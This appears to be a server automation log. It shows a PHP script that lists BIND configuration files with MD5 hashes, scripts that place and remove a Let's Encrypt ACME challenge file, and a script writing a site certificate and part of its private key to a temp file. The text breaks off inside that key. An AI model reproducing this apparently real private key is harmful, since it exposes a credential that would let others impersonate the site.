5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-06 23:03:03: Establishing a connection
2026-04-06 23:03:03: 

PUT: /tmp/pkp705309

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-06 23:03:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp705309; rm /tmp/pkp705309'

2026-04-06 23:03:04: 


PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2026-04-07 06:00:03: Establishing a connection
2026-04-07 06:00:03: Establishing a connection
2026-04-07 06:00:04: 

PUT: /tmp/pkp343052

#!/bin/bash
if [ -d "/var/www/kjvdictionary_store/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-07 06:00:05: 

chmod 755 /tmp/pkp343052; /tmp/pkp343052; rm /tmp/pkp343052

2026-04-07 06:00:05: 


1


2026-04-07 06:00:06: Establishing a connection
2026-04-07 06:00:06: 

PUT: /tmp/pkp704090

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
cat > mKqTghwR9UA-hO2Ytxf2SGoa4vlCg4WzjtEfWOqSIb0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
mKqTghwR9UA-hO2Ytxf2SGoa4vlCg4WzjtEfWOqSIb0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 mKqTghwR9UA-hO2Ytxf2SGoa4vlCg4WzjtEfWOqSIb0


2026-04-07 06:00:06: 

chmod 755 /tmp/pkp704090; /tmp/pkp704090; rm /tmp/pkp704090

2026-04-07 06:00:06: 




2026-04-07 06:00:10: Establishing a connection
2026-04-07 06:00:11: 

PUT: /tmp/pkp621989

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
rm mKqTghwR9UA-hO2Ytxf2SGoa4vlCg4WzjtEfWOqSIb0


2026-04-07 06:00:11: 

chmod 755 /tmp/pkp621989; /tmp/pkp621989; rm /tmp/pkp621989

2026-04-07 06:00:11: 




2026-04-07 06:00:11: Establishing a connection
2026-04-07 06:00:11: 

PUT: /tmp/pkp135922

#!/bin/bash
temp_file=$(mktemp)
TARGET=82027fd7e0abdd79a359ee4b0d03e041.crt

cat > $temp_file <<'endmsg'
da:a1:ca:70:97:d8:f1:9b:7f:e5:59:36:6b:34:9f:f8

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBYiTtbrzapN84UI/dXvshRlSMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDA3MDUwMTM5WhcNMjYwNzA2MDUwMTM4WjAiMSAwHgYDVQQD
ExdzdG9yZS5ranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBALphCVDr9INriA/i/qb7EeWFm2NJcgoqJpGItIX5b21Wuphj5F2V
nkRhCFOm7dlPqOM46PiJ01AgwLR4FMhpQ8/yiDwZPrRgPUKRTxU42yplFwbNtCzv
P9Rgr072ZivmzOdPre21XZKGjleUbYVTIVHVVo0i5Tei1v7VhnLx/gS71Tpzq4uQ
69R7T14DHU4mdfer+yMb47hNO4wjF/gEWvjhNTj1My8qwk7HLFZRGODjVz6GBrrB
J9tolSjHs1IDT8R61MsfCxs1/JwehWrCS7zdPO5SRIbl2E//tbCK6G6jsOvZa+qB
4pCeLGRFXeYdkHxC8IlIu/fJ0+mByBJH1z0CAwEAAaOCAiYwggIiMA4GA1UdDwEB
/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBQs0uKV7C91eCilH9nf/mi1UmXZFTAfBgNVHSMEGDAWgBQAtSnyLY5vMeib
TK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTIuaS5sZW5jci5vcmcvMCIGA1UdEQQbMBmCF3N0b3JlLmtqdmRpY3Rpb25hcnku
b3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvODMuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5
AHcAlE5Dh/rswe+B8xkkJqgYZQHH0184AgE/cmd9VTcuGdgAAAGdZobmkQAABAMA
SDBGAiEAuDzblwyx9CDBRfAkzQzig67hp3PhXUJkyd8NuGuHh4YCIQD4fSbtxZv6
uWyPOqmWtSAVZc15bOkAO2sN94R1srtLfwB+AEavhj07PuWfpXfeqCRdNrDZ7SKi
I/Rhd0EilFLulVBfAAABnWaG51oACAAABQADOWLLBAMARzBFAiA30dIo+xyd/8KP
/crL3TZrIyFheHQoKhGP8H1j2DdSEAIhAKO3ZC+Ivu5wuBKufiz/C732CfSPfKZV
CcC+uH5nmbGoMA0GCSqGSIb3DQEBCwUAA4IBAQBkuWtak8ft3VVrVkWYPrXN8PTg
qD0aa5l7iwQTZUNIiMW27QieTZf8LxqvLrPRPvTDnfNY4a73dyl924zT4b2M3uzX
UPH3Zk0GunIztZUk7x1uMAjqwrvrmEeuu3IlZjW0FP5262WWebkJ3yuohOkOfb31
JBfGeq29BQ8YYADe8xmTzNDn4nLFpHO1ryXIHm3EoFo5UEV47frCKjyStSu025Da
ifXzmCcel1b6hp1b0ljf2UNfW4/nn3Y2jiDWUYTZIA1AvATndh0DdE0TwTF4otVI
EB9XrFVHVXkWX7hS+OddbTbt5s3mvMEd0L8WZ9CHYn6jkXP+XddJ1ca52nx6
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC6YQlQ6/SDa4gP
4v6m+xHlhZtjSXIKKiaRiLSF+W9tVrqYY+RdlZ5EYQhTpu3ZT6jjOOj4idNQIMC0
eBTIaUPP8og8GT60YD1CkU8VONsqZRcGzbQs7z/UYK9O9mYr5sznT63ttV2Sho5X
lG2FUyFR1VaNIuU3otb+1YZy8f4Eu9U6c6uLkOvUe09eAx1OJnX3q/sjG+O4TTuM
Ixf4BFr44TU49TMvKsJOxyxWURjg41c+hga6wSfbaJUox7NSA0/EetTLHwsbNfyc
HoVqwku83TzuUkSG5dhP/7Wwiuhuo7Dr2WvqgeKQnixkRV3mHZB8QvCJSLv3ydPp
gcgSR9c9AgMBAAECggEABrwpckVoi1Q4MTzGb4HMooLqu9KEXrYpuSIbxeie3HBh
